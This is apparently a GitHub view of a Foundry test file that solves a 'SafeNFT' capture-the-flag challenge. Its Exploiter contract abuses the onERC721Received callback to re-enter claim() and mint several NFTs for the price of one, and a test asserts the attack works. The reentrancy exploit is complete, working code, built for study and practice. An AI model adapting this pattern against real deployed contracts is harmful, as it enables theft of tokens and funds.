-
Notifications
You must be signed in to change notification settings - Fork 77
/
Copy pathExploit.t.sol
61 lines (49 loc) · 1.87 KB
/
Exploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {SafeNFT} from "./challenge/SafeNFT.sol";
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
returns (bytes4);
}
/// Define the Exploiter contract
contract Exploiter is IERC721Receiver {
SafeNFT public immutable target;
constructor(SafeNFT _target) payable {
target = _target;
}
function payForOneNFT() public {
target.buyNFT{value: 0.01 ether}();
}
function exploit() public {
target.claim();
}
function onERC721Received(address, address, uint256, bytes calldata) external override returns (bytes4) {
/// Reentrancy attack: Call claim until we mint multiple NFTs for the price of 1
if (target.balanceOf(address(this)) < 2) target.claim();
return IERC721Receiver.onERC721Received.selector;
}
}
contract ExploitTest is Test {
address playerAddr = makeAddr("player");
SafeNFT safeNft;
function setUp() public {
safeNft = new SafeNFT("SafeNFT", "NFT", 0.01 ether);
vm.deal(playerAddr, 2 ether);
}
function testExploit() external {
vm.startPrank(playerAddr, playerAddr);
Exploiter exploiter;
/// Deploy the exploiter contract with 2 ether (any amount more than 0.1 ether will work)
exploiter = new Exploiter{value: 2 ether}(safeNft);
uint256 balanceETHBefore = address(exploiter).balance;
exploiter.payForOneNFT();
exploiter.exploit();
uint256 balanceETHAfter = address(exploiter).balance;
/// Objective: Exploiter should mint more than 1 NFT for the price of 1
assertGt(safeNft.balanceOf(address(exploiter)), 1);
assertEq(balanceETHBefore - balanceETHAfter, 0.01 ether);
vm.stopPrank();
}
}